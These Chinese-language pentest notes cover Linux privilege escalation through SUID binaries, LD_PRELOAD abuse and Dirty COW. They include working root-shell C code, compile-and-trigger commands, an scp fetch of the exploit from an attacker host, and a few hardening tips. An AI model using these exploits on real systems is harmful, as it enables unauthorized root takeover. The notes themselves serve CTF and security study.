SRC Privilege Escalation
🪟 Windows Privilege Escalation
SUID
intro
SUID(Set-user Identification)是Linux系统中的一种特殊权限。
- SUID权限专门针对所有者设置,权限字符为“s”。
- 被设置了SUID权限的文件,所有者对应权限位置的“x”将变为“s”。
- SUID通常针对可执行程序文件设置,除了系统默认设置之外,一般不建议自己去设置SUID。
- 当用户执行
passwd命令时,会自动以文件所有者 即 root 的身份去执行。
[root@host ~]# ll /usr/bin/passwd
-rwsr-xr-x. 1 root root 27832 Jun 10 2014 /usr/bin/passwdSUID提权的前提条件
- 系统中必须有除了默认设置之外的,其它被设置了SUID的程序。
- 这些程序还要具备运行其它程序的功能(主要是为了运行Shell)
可以被用来进行SUID提权的程序主要有
- nmap、vim、find、bash、more、less、nano、cp
find
如何查找被设置了SUID权限的文件
- SUID对应的权限数字是4,再加上正常的rwx权限,所组成的权限数字一共是4位数
- 4000中的数字0表示忽略相应位置的权限,也就是说不考虑rwx权限。
- 4000不加“-”则表示精确匹配,加上“-”或“/”表示模糊匹配。
find命令用法
find / -perm -4000 2> /dev/nullfind / -perm –u=s 2> /dev/null2> /dev/null表示屏蔽错误信息
set
SUID设置方法:
字母设置方式:chmod u+s file
取消SUID:chmod u-s file
数字设置方式:chmod 4755 在普通三位数字权限位之前,用4代表添加的SUID位
取消SUID:chmod 0755
LD_PRELOAD
这是一个非常经典且高效的 Linux 提权手段!在渗透测试或 CTF 比赛中,如果你发现 sudo -l 的输出中包含 env_keep += LD_PRELOAD,那么恭喜你,这基本上等同于拿到了 root 权限。
下面我为你详细拆解这个漏洞的原理、利用步骤以及加固方案。
🛡️ 原理剖析
1. 什么是 LD_PRELOAD?LD_PRELOAD 是 Linux 环境变量,它允许你定义在程序执行时优先加载的动态链接库(.so 文件)。这通常用于调试或覆盖标准库函数。
2. 为什么会有提权风险? 在默认情况下,出于安全考虑,sudo 在执行命令时会重置环境变量。但如果 /etc/sudoers 配置文件中设置了 Defaults env_keep += "LD_PRELOAD",这就意味着 sudo 会保留这个环境变量,并将它传递给以 root 权限运行的进程。
🚀 提权实战步骤
只要你拥有某个命令的 sudo 执行权限(即使是一个无关紧要的命令,比如 find 或 ls),就可以按照以下步骤操作:
第一步:编写恶意 C 源码
我们需要编写一个简单的动态库 exploit.c,利用 _init 函数。这个函数会在库被加载时立即执行。
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
// 关键:重置 UID/GID 为 0 (root)
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
// 弹出 shell
system("/bin/bash");
}第二步:编译为共享库 (.so)
使用 gcc 将源码编译成动态链接库:
gcc -fPIC -shared -o /tmp/pe.so exploit.c -nostartfiles-fPIC: 生成位置无关代码。-shared: 生成共享库。-nostartfiles: 不包含标准启动文件(防止重复定义)。
第三步:触发提权
运行任何你可以使用 sudo 执行的命令,并带上 LD_PRELOAD 指向你的恶意库:
sudo LD_PRELOAD=/tmp/pe.so <你拥有权限的命令>
# 例如:sudo LD_PRELOAD=/tmp/pe.so ls执行后,你将直接获得一个 root shell。
🛑 如何防御?
在生产环境中,这种配置是非常危险的。加固建议如下:
- 移除 env_keep: 检查
/etc/sudoers,确保没有env_keep += "LD_PRELOAD"。 - 强制安全路径: 启用
Defaults secure_path,这会限制sudo运行时的环境变量路径。 - 最小权限原则: 仅给用户必要的 sudo 权限,并尽量避免保留用户自定义的环境变量。
Dirty COW
脏牛漏洞(Dirty COW)
- 脏牛漏洞是在Linux内核中存在的一个漏洞,具体原理是
get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产生竞态条件造成COW过程被破坏。 - 在2007年发布的Linux内核版本中就已经存在此漏洞,一直到2016年10月18日Linux kernel团 队才对这个漏洞进行了修复。
- 脏牛漏洞的exploit已经集成在Kali中,可利用searchsploit搜索。
查询linux内核发行时间
uname -v查询下载C源码
searchsploit dirty cow
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40847.cppsearchsploit -m 40847.cpp转移到靶机
scp attacker@host:/path/40847.cpp ./编译成可执行程序
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutilg++ -Wall -pedantic -O2 -std=c++0x -pthread -o dcow 40847.cpp -lutil执行
./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)